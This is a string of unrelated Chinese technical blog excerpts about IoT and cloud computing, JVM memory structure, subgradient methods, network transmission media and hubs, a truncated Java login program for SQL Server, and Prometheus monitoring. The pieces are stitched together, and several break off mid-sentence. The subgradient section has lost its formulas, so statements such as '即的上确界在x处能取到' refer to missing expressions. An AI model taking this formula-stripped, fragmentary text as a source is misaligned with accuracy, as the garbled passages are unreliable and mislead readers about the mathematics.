智能分析:人工智能算法可以应用于物联网数据的分析中,从而实现更深层次的洞察和预测。自动化控制:通过人工智能,物联网设备可以自动执行任务,如智能调节温度、自动诊断故障等,而无需人工干预。增强体验:结合人工智能的物联网应用可以提供更加个性化和智能化的服务,如智能家居、智能医疗等。 云计算 云计算是一种计算技术,它允许用户通过互联网访问和使用远程数据中心提供的计算资源和服务。这些资源包括服务器、存储、数据库、网络、软件、分析和智能等,用户可以根据需求灵活地获取和使用这些资源,而无需自己建立和维护物理基础设施。 云计算的核心特点包括: 按需自助服务:用户可以根据需要自主获取计算资源,如服务器时间和网络存储,而无需人工干预。 广泛的网络访问:服务通过标准的网络和设备(如手机、平板、笔记本和工作站)可用。 资源池化:云服务提供商使用多租户模型,将计算资源池化以服务多个客户,其中不同的物理和虚拟资源根据需求动态分配和重新分配。 快速弹性:资源可以迅速且弹性地提供,以迅速扩展,并且在必要时可以快速释放。对于用户来说,可用的资源看起来是无限的。 可计量的服务:云系统自动控制和优化资源的使用,利用一定程度的计量能力,这可以为不同类型的服务提供透明度,既对云服务提供商也对消费者。 云计算通常分为几种服务模型: 基础设施即服务(IaaS):提供基础计算资源,如虚拟化的服务器、存储和网络。平台即服务(PaaS):提供一个平台,客户可以在上面开发、运行和管理应用程序,无需关心基础设施的维护。软件即服务(SaaS):提供应用程序作为服务,用户通过互联网访问这些应用程序,而无需安装和维护软件。 云计算还分为不同的部署模型: 公有云:由第三方服务提供商拥有和运营,服务通过互联网向公众提供。私有云:由单个组织拥有和运营,可以在组织内部或由第三方托管。混合云:结合了公有云和私有云的特点,允许数据和应用程序在两者之间移动。社区云:由特定用户群体共享,这些用户可能有共同的关注点,如安全要求、政策和合规性。 云计算为企业和个人提供了灵活性、可扩展性和成本效益,是现代信息技术发展的重要方向。 云计算与物联网(IoT) 云计算为物联网提供了强大的数据处理和存储能力。物联网设备可以将数据传输到云端进行处理和分析,云服务还可以提供必要的计算资源来支持复杂的数据分析和机器学习任务。此外,云计算的可扩展性使得它可以轻松处理物联网设备数量的增长和数据量的增加。 总结 这些技术之间的关系和相互作用形成了一个强大的生态系统,它们共同推动了智能设备和智能服务的发展。嵌入式系统技术为物联网设备提供了硬件和软件基础;物联网设备通过传感器收集数据;边缘计算在数据源附近提供快速处理;AIoT通过集成人工智能提供智能分析和决策;大数据技术用于存储和分析大量数据;云计算提供了强大的数据处理能力和可扩展性。这些技术的结合不仅提高了效率和智能性,还推动了新的商业模式和服务的发展。 以下是这些概念之间的关系和相互作用的框图: ---------------- ------------------ | 嵌入式系统技术 | | 云计算 | ---------------- ------------------ ↓ ↑ 物联网 ---------------- 大数据 ↓ ↑ ---------------- ------------------ | 边缘计算 | | 人工智能 | ---------------- ------------------

JVM学习-JVM简介以及其内部结构

目录 1.什么是JVM 2.JVM、JRE、JDK、JavaSE、JavaEE之间的联系 3.JVM的内部结构 4.各部分的作用 4.1 类加载器(附类加载过程导航) 4.2 方法区 4.3 堆(附常量池、运行时常量池、串池的介绍导航) ​ 4.4 虚拟机栈(附底层字节码执行过程以及JVM的自动优化导航) 4.5 程序计数器 4.6 本地方法栈 4.7 解释器和JIT即时编译器 4.9 GC垃圾回收(附详细内容以及JVM调优导航) 5.拓展 5.1一些可能会遇到的问题 5.2堆内存溢出诊断方法 5.3 linux环境下线程诊断方法 5.4 JMM介绍(附详细内容导航) 1.什么是JVM JVM是Java虚拟机的缩写,是Java程序的运行环境。更准确地说是Java程序的二进制字节码的运行环境,因为JVM的主要作用是将Java源码编译为字节码并执行。Java程序之所以能够跨平台运行就是因为JVM的存在,JVM编译后的字节码在任何支持JVM的平台都可以运行且无需再次编译;并且JVM有自己的垃圾回收机制,自动管理内存,减轻了程序员内存管理的负担。 通过学习JVM,我们就可以了解一个Java程序在底层的执行过程,进而优化我们的代码。 2.JVM、JRE、JDK、JavaSE、JavaEE之间的联系 3.JVM的内部结构 4.各部分的作用 4.1 类加载器(附类加载过程导航) 用来加载类的二进制字节码(包括类的基本信息、常量池,类方法定义)。有四种类加载器:启动类加载器、扩展类加载器、应用类加载器、自定义类加载器。 类加载的过程见另一篇博客JVM学习-类加载-CSDN博客。 4.2 方法区 方法区是线程共享的一块区域,存储了和类结构相关的信息,比如运行时常量池、成员变量、方法数据等;方法区在虚拟机启动时被创建,逻辑上是堆的一部分。之所以说逻辑上是堆的一部分是因为实际的存储位置并不一定在堆中,比如Hotspot(JVM的一种)的jdk1.8版本是将方法区放在了元空间,而元空间使用的是操作系统的一部分内存;jdk1.6版本的则放在了永久代中,永久代使用的是堆内存。方法区也会触发垃圾回收,当大量的类被加载时会导致方法区空间不足。要注意的是,在JDK1.7版本前方法区空间不足触发的异常是内存不足:永久代(java.lang.OutOfMemoryError: PermGen space),在JDK1.8版本后则是内存不足:元空间(java.lang.OutOfMemoryError: Metaspace) 4.3 堆(附常量池、运行时常量池、串池的介绍导航) 堆是线程共享的,所有通过new创建的对象都会存放在堆中。当存储的对象过多或者串池存放的值过多时会导致堆内存溢出,也就会触发垃圾回收。如果垃圾回收后堆内存仍不足,那就是其中的对象大部分都还在被使用无法回收,内存占用仍然很高。要注意的是,在JDK1.6版本前串池空间不足触发的异常是内存不足:永久代(java.lang.OutOfMemoryError: PermGen space),而JDK1.7版本后提示的异常则是内存不足:堆空间(java.lang.OutOfMemoryError: Java heap space) 常量池、运行时常量池、串池的介绍见另一篇博客: JVM学习-常量池、运行时常量池以及串池-CSDN博客 4.4 虚拟机栈(附底层字节码执行过程以及JVM的自动优化导航) 每个线程在创建时都会创建一个虚拟机栈,这是线程运行所需要的内存,所以虚拟机栈是线程私有的。每个栈中存放一个个栈帧,栈帧则是调用一个方法所需要的内存,里面存放着局部变量表、操作数栈、返回地址等;栈帧中仅有一个活动栈帧,对应当前正在执行的方法,也是栈顶的栈帧,如果当前方法调用了其他方法,那么对应的新的栈帧会被创建出来,放在栈的顶端成为新的活动栈帧。当方法执行完成或者抛出异常自动结束执行时,均作为执行完毕处理,就会将该方法对应的栈帧弹出虚拟机栈,活动栈帧自然就会变成下一个方法对应的栈帧。 虚拟机栈不会触发垃圾回收,因为方法执行完后栈帧就被弹出去了,不会留在栈中。但存在栈内存溢出的问题,一种是栈帧过多导致的,比如无限递归;另一种是栈帧过大导致的,一般都是由栈帧过多引起的栈内存溢出,因为普通情况下执行一个方法所用到的局部变量不是很多,栈帧也不会太大。 虚拟机栈由于栈帧中的局部变量都是线程私有的,所以只要不逃离线程的作用范围就不会产生线程安全问题;但堆是线程共享的,所以都需要考虑线程安全问题。 底层字节码执行过程见另一篇博客JVM学习-底层字节码的执行过程-CSDN博客。 JVM的自动优化见另一篇博客JVM学习-JVM的自动优化-CSDN博客。 4.5 程序计数器 主要作用就是记住下一条JVM指令的执行地址,以在执行完当前的一个JVM指令后能够找到下一个指令,实际上是一个寄存器,每个线程只有一个程序计数器,且程序计数器是线程私有的,不存在内存溢出的问题。 4.6 本地方法栈 本地方法栈是线程私有的,随着线程的结束而消失,所以不会触发垃圾回收。 4.7 解释器和JIT即时编译器 4.

次梯度、次梯度下降

前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家:点击跳转 目录 一,次梯度 1,次梯度、次微分 2,次梯度的性质 3,共轭函数和次梯度 (1)共轭函数和原函数次梯度的对偶 (2)原函数次梯度和共轭函数次梯度的对偶 (3)共轭函数和共轭函数次梯度的对偶 4,近端映射函数和次梯度 (1)近端映射函数和次梯度的对偶 (2)原函数的近端映射函数和共轭函数的近端映射函数的对偶 (3)广义Moreau 分解 二,次梯度下降 三,镜像次梯度下降算法 1,Bregman距离 2,镜像次梯度下降算法 3,实例 一,次梯度 1,次梯度、次微分 函数f的次微分: 集合中的每个g都称为次梯度。 2,次梯度的性质 PS:第(2)条的集合加法是A+B={x+y | x in A && y in B} (4)凸函数的次梯度是一个非空有界凸集。 (5)某点处的次梯度含有0则代表该点是极值点。 3,共轭函数和次梯度 (1)共轭函数和原函数次梯度的对偶 即的上确界在x处能取到,等价于,y是f在x处的次微分。 (2)原函数次梯度和共轭函数次梯度的对偶 x是共轭函数在y处的次梯度,等价于y是原函数在x处的次梯度。 例子: 例1,f是一元可微函数 f的次微分是单元素集合{f'},y是原函数在x处的次梯度即y=f'(x) 根据共轭函数的导数和原函数的导数互为反函数可得,x等于共轭函数的导数在y处的值, 即x是共轭函数在y处的次梯度。 例2,f(x) = |x| 即一阶范数 f的次微分∂f是个分段函数,x<0时∂f={-1},x=0时∂f=[-1,1], x>0时∂f={1} f的共轭函数是f*(y)=0, y∈[-1,1], f*的次微分∂f*是个分段函数,y=-1时∂f*=(-∞,0], y∈(-1,1)时,∂f*={0},y=1时∂f*=[0,+∞) 显然2个次微分完全对应。 应用: (3)共轭函数和共轭函数次梯度的对偶 即的上确界在x处能取到,等价于,x是f*在y处的次微分。 4,近端映射函数和次梯度 (1)近端映射函数和次梯度的对偶 推导: (2)原函数的近端映射函数和共轭函数的近端映射函数的对偶 即Moreau 分解: 推导: (3)广义Moreau 分解 推导:

计算机网络——物理层(物理传输介质和物理层的设备)

计算机网络——物理层(物理传输介质和物理层的设备 物理传输介质导向性传输介质双绞线同轴电缆光纤 非导向性传输介质无线电波多径效应 微波地面微波通信ISM 频段 卫星通信 物理层设备中继器集线器中继器和集线器的区别 我们今天进入物理层的物理传输介质和物理层的设备,如果大家之前的内容还不是很了解,大家可以点击这里: https://blog.csdn.net/qq_67693066/category_12609808.html 物理传输介质 在物理层的传输介质分为两种:导向性传输介质和非导向性传输介质。 这里注意下物理传输介质虽然有物理两个字,但是,它并不是物理层的组成部分 导向性传输介质 导向性传输介质:电磁波被导引沿着固体媒体(铜线或光纤)传播 双绞线 双绞线(Twisted Pairwire,TP)是综合布线工程中最常用的一种传输介质,特别是在局域网和星型拓扑网络中。它由两根具有绝缘保护层的铜导线组成,这两根导线按一定密度互相缠绕在一起,以降低信号干扰的程度。每一根导线在传输中辐射的电波会被另一根线上发出的电波抵消,从而有效减少干扰。 双绞线可以分为屏蔽双绞线(STP)与非屏蔽双绞线(UTP)两大类。屏蔽双绞线因为有外层铝泊包裹,可以减小幅射,但制作较复杂且价格较高。在常见的10Base-T或100Base-TX网络中,非屏蔽双绞线更为常用,特别是5类和超5类双绞线。 双绞线电缆由多对双绞线组成,不同线对具有不同的缠绕度或扭绞长度。通常,扭绞长度在38.1cm至14cm内,按逆时针方向扭绞,相邻线对的扭绞长度在12.7cm以上。 在数据传输方面,双绞线主要用于模拟声音信息和数字信号的传输,特别适用于较短距离的信息传输例如,3类双绞线的速率可以达到10Mb/S,而5类双绞线的速率则可达100Mb/S,超5类双绞线更可以达到155Mb/s以上的速率。 需要注意的是,虽然双绞线在传输距离、信道宽度和数据传输速度等方面受到一定限制,但由于其价格相对低廉,且这些限制在一般快速以太网中的影响甚微,因此双绞线仍是企业局域网中首选的传输介质。 此外,视频信号作为一种高频宽带信号,直接在双绞线内传输时,信号的幅度会受到较大的衰减,因此在长距离传输时可能需要进行放大和补偿,以保证图像质量。 同轴电缆 同轴电缆(coaxial cable)是一种电线及信号传输线,通常是由四层物料构成:最内层是一条导电铜线,线的外面有一层塑胶(作绝缘体、电介质之用)围拢,绝缘体外面又有一层薄的网状导电体(一般为铜或合金),然后导电体外面是最外层的绝缘物料作为外皮。 同轴电缆可用于模拟信号和数字信号的传输,广泛应用于各种场景,其中最重要的包括电视传播、长途电话传输、计算机系统之间的短距离连接以及局域网等有线电视系统就是同轴电缆将电视信号传播到千家万户的一种应用,可以负载几十个甚至上百个电视频道,传播范围可达几十千米。长期以来,同轴电缆也是长途电话网的重要组成部分。 根据用途的不同,同轴电缆可以分为基带同轴电缆和宽带同轴电缆(即网络同轴电缆和视频同轴电缆)。基带电缆又可以分为细同轴电缆和粗同轴电缆,它们仅用于数字传输,数据率可达10Mbps而网络同轴电缆内外由相互绝缘的同轴心导体构成,内导体为铜线,外导体为铜管或网,其电磁场封闭在内外导体之间,因此辐射损耗小,受外界干扰影响也较小。 常见的同轴电缆有两类:50Ω和75Ω的同轴电缆。75Ω同轴电缆常用于CATV网,传输带宽可达1GHz,目前常用CATV电缆的传输带宽为750MHz。而50Ω同轴电缆主要用于基带信号传输,传输带宽为1~20MHz,总线型以太网就是使用50Ω同轴电缆。在以太网中,50Ω细同轴电缆的最大传输距离为185米,粗同轴电缆可达1000米。 光纤 光纤是光导纤维的简写,是一种由玻璃或塑料制成的纤维,可作为光传导工具。它的传输原理是光的全反射。光纤通常具有微细的结构,并被封装在塑料护套中,使其能够弯曲而不易断裂。在光纤的一端,发射设备使用发光二极管或一束激光将光脉冲发送至光纤中,而在另一端,接收设备使用光敏组件检测这些脉冲。包含光纤的线缆被称为光缆。 光纤的主要用途是通信。目前通信用的光纤,基本上是石英系光纤,其主要成分是高纯度石英玻璃,即二氧化硅(SiO2)。光纤通信系统利用光纤来传输携带信息的光波,实现通信的目的。由于信息在光导纤维中的传输损失比电在电线传导的损耗低得多,而且主要生产原料硅的蕴藏量极大,较易开采,所以光纤的价格相对便宜,使得它成为长距离信息传递的理想介质。 光纤有多种类型,例如多模光纤(Multi Mode Fiber)。多模光纤的中心玻璃芯较粗(50或62.5μm),可以传输多种模式的光。然而,其模间色散较大,这限制了传输数字信号的频率,并且随着传输距离的增加,这种限制会变得更加严重。因此,多模光纤更适合短距离传输,例如在校园内或建筑内,其传输距离可达2km,但传输速率会随着距离的增加而衰减。 此外,光纤还有单模光纤等多种类型,并具备不同的接口种类,如MPO-MPO、FC-FC、SC-SC、LC-LC等。在应用中,光纤跳线常用于从设备到光纤布线链路的连接,具有较厚的保护层,适用于光端机和终端盒之间的连接,并广泛应用于光纤通信系统、光纤接入网、光纤数据传输以及局域网等领域。 非导向性传输介质 非导向性传输介质指的是自由空间传输介质,其传输路径不是固定的,而是利用电磁波在空气中的传播来进行数据传输。这种传输方式可以在空气、真空或海水等介质中进行。非导向性传输介质的主要特点是传播距离远,且无需物理连接。 常见的非导向性传输介质包括无线电波、微波和红外线、激光等。无线电波在所有方向上传播,适用于广播和移动通信等应用。微波传输则具有固定方向性,常用于地面微波接力通信和卫星通信等领域。红外线和激光传输也具有固定方向性,通常用于点对点的通信。 无线电波 无线电波是一种在自由空间(包括空气和真空)中传播的射频频段的电磁波。其波长越短、频率越高,相同时间内传输的信息就越多无线电波在传播过程中,电场和磁场在空间是相互垂直的,同时这两者同时垂直于传播的方向。无线电波是一种能量传输形式,与光波相似,其传播速度和传播媒质有关。在真空中,无线电波的传播速度等于光速。在媒质中,传播速度则取决于媒质的相对介电常数。 多径效应 多径效应(Multipath Effect)是无线电信号在传输过程中遇到障碍物(如建筑物、山脉、树木等)后产生反射、折射、散射等多种影响,导致同一个信号通过不同的路径到达接收端。由于每条路径的长度和传播时间不同,信号到达接收端时存在相位差和幅度衰落,使得原来的信号失真或产生错误。 微波 微波是指频率为300MHz至300GHz的电磁波,其波长在1毫米至1米之间,是无线电波中的一个有限频带,包括分米波、厘米波和毫米波。微波的频率比一般的无线电波频率高,因此通常也称为“超高频电磁波”。 微波具有多种特性,包括穿透、反射和吸收。对于玻璃、塑料和瓷器,微波几乎能够穿越而不被吸收;对于水和食物等,微波则会被吸收并使其自身发热;而对于金属类物体,微波则会反射。此外,微波的热惯性小,对介质材料可以瞬时加热升温,能耗低,且输出功率可以随时调整,介质温升可以无惰性地随之改变,非常适合自动控制和连续化生产。 微波的应用非常广泛。除了用于微波炉加热食品这一常见应用外,微波在通信领域也发挥着重要作用。微波通信由于其频带宽、容量大,可以用于各种电信业务传送,如电话、电报、数据、传真以及彩色电视等。微波通信系统是国家通信干线传输的重要组成部分,也被视为国家的“信息高速公路”。 地面微波通信 地面微波通信是指用微波频率作载波携带信息,通过空间传播进行通信的方式微波通信具有良好的抗灾性能,对水灾、风灾以及地震等自然灾害,微波通信一般都不受影响。然而,微波通信在传输过程中容易受到干扰,并且由于微波沿直线传播的特性,在电波波束方向上不能有高楼阻挡,因此在城市规划中需要考虑城市空间微波通道的规划。 地面微波通信通常采用中继(接力)方式进行远距离传输。这是因为微波的传输距离有限,且受到地球曲面的影响,信号在传播过程中会逐渐衰减。为了实现远距离通信,需要在合适的距离上设置中继站,对信号进行放大和转发。这种接力传输的方式使得微波通信能够覆盖更广阔的区域。 在地面微波通信系统中,微波站扮演着重要的角色。微波站包括终端站和中继站,它们负责将数据信号调制为中频信号,然后上变频为微波信号进行传输。同时,它们还需要将接收到的微波信号进行下变频和解调,还原出原始的数据信号。 此外,地面微波通信系统还需要考虑电磁波的极化方式。常用的极化方式有水平极化和垂直极化。在实际应用中,需要根据通信环境和设备条件选择合适的极化方式,以提高通信质量和可靠性。 ISM 频段 ISM频段是指工业、科学和医疗频段。它是由国际通信联盟无线电通信局(ITU-R)定义的,用于开放给工业、科学和医学机构使用的一组无线电频率。这些频段无需特定的许可证即可使用,但需要遵守一定的发射功率规定(一般低于1W),并且不能对其他频段造成干扰。 ISM频段主要由几个不同的频段组成,其中2.4GHz是最常见和最广泛使用的频段之一。无线局域网(如IEEE 802.11b/IEEE 802.11g)、蓝牙、ZigBee等无线网络均可工作在2.4GHz频段上。 卫星通信 卫星通信是利用人造地球卫星作为中继站来转发无线电波,从而实现两个或多个地面站之间的通信人造地球卫星根据用途的不同,可分为三大类:科学卫星、技术试验卫星和应用卫星。其中,应用卫星又可分为通信卫星、气象卫星、导航卫星、测地卫星、资源卫星和侦察卫星等。 通信卫星是卫星通信系统的空间部分,它转发和放大来自地面站、移动载体发往另一个地面站、移动载体的信号,与地面站一同完成卫星通信系统的运行。 卫星通信具有覆盖范围广、通信容量大、通信距离远、不受地理环境限制、质量高、经济效益高等优点,因此在现代通信领域扮演着越来越重要的角色。无论是在固定通信、移动通信,还是在宽带多媒体通信、个人通信等领域,卫星通信都发挥着不可或缺的作用。随着技术的不断进步,卫星通信的应用前景将更加广阔。 物理层设备 物理层设备是指那些负责在物理层进行数据传输的设备。物理层的主要职责是为数据端设备提供传送数据通路的传输数据,具体来说,就是通过模拟或数字信号形式传送上层的数据。 中继器 中继器(Repeater)是工作在物理层上的连接设备,主要适用于完全相同的两个网络的互连它的核心功能是通过重新发送或转发数据信号,从而扩大网络传输的距离。具体来说,中继器对在线路上的信号具有放大再生的功能,完成物理线路的连接,对衰减的信号进行放大,保持与原数据相同,以此来延长网络的长度。 中继器是最简单的网络互联设备,主要完成物理层的功能。它负责在两个节点的物理层上按位传递信息,完成信号的复制、调整和放大功能。由于信号在传输过程中会因损耗而逐渐衰减,当衰减到一定程度时,信号将失真并可能导致接收错误。中继器就是为了解决这一问题而设计的,它能在信号衰减到一定程度之前,对其进行放大和再生,确保信号能够准确无误地传输到下一个节点。 集线器 集线器(HUB)属于数据通信系统中的基础设备,是一种不需要任何软件支持或只需很少管理软件管理的硬件设备。它工作在局域网(LAN)环境,像网卡一样,应用于OSI参考模型的第一层,因此也被称为物理层设备。

【Sql Server】eclipse 连接sql server实现登录注册功能

package app; import java.sql.Connection; import java.sql.DriverManager; import java.sql.ResultSet; import java.sql.Statement; import java.util.Scanner; import java.sql.*; import game.GameFrame; //程序入口 //改名快捷键shift +f6 public class GameMain { static Scanner sc = new Scanner(System.in); static String name; static String passward; public static void main(String[] args) { System.out.println("***********欢迎来到坦克大战***********"); login(); new GameFrame(); } public static void login() { System.out.println("**********请选择你的操作:**********"); System.out.println("1.登录 2.注册"); int n = sc.nextInt(); if (n == 1) { System.out.println("请输入昵称:"); name = sc.next(); System.out.println("请输入密码:"); passward = sc.

最火的监控软件?一文带你吃透 Prometheus

众所周知,大数据产品作为底层平台,其运维监控一直是生产实践的痛点难点,且在稳定运行的基础之上往往还需要对性能进行评估优化,所以其监控系统的建设显得尤为重要。 Prometheus 作为云原生时代最火的监控软件,很多大数据组件或原生或以第三方插件/exporter 的形式对 Prometheus 做了支持。 我使用的大数据平台是基于 K8s 运行的,有部署灵活管理方便的优点,更容易与 Prometheus 进行结合。 下面将对设计思路和技术实现进行阐述探讨。 一、设计思路 监控系统的核心任务是将暴露出来的指标数据进行抓取,在此之上进行分析、告警,所以有以下几个要明确的问题: 监控对象是什么 监控对象如何暴露指标数据 监控系统如何对指标进行抓取 如何实现告警规则动态配置、管理 监控对象 以 pod(容器)形式运行在 kubernetes 集群上的各个大数据组件。 指标暴露方式 各组件根据对 Prometheus 的支持程度,可分为 3 种类型的指标暴露方式: 直接暴露 Prometheus 指标数据 (直接,拉) 主动将指标数据推送到 prometheus-pushGateway,由 pushGateway 暴露数据(间接,推) 自定义 exporter 将其他形式的指标数据转换为符合 Prometheus 标准的格式进行暴露(exporter,直接,拉) 个别组件同时支持多种方式,如 flink 支持直接和间接方式,spark 支持直接方式而且也有第三方 exporter。 大部分组件都有官方/第三方的 exporter,极少数需要自己开发。一般情况下直接方式就可以了。 需要注意的是,像 flink(spark) on yarn 模式运行的时候,flink 节点是跑在 yarn 容器里面的。 这种情况下 Prometheus 很难对其直接进行抓取,这种时候就只能用间接方式,主动将数据推送到 pushGateway。另外那些短暂生命周期的组件也建议用主动 push 到 pushGateway。 指标抓取方式 不管是 exporter 还是 pushGateway,到最后必然是由 Prometheus 主动对这些目标进行抓取。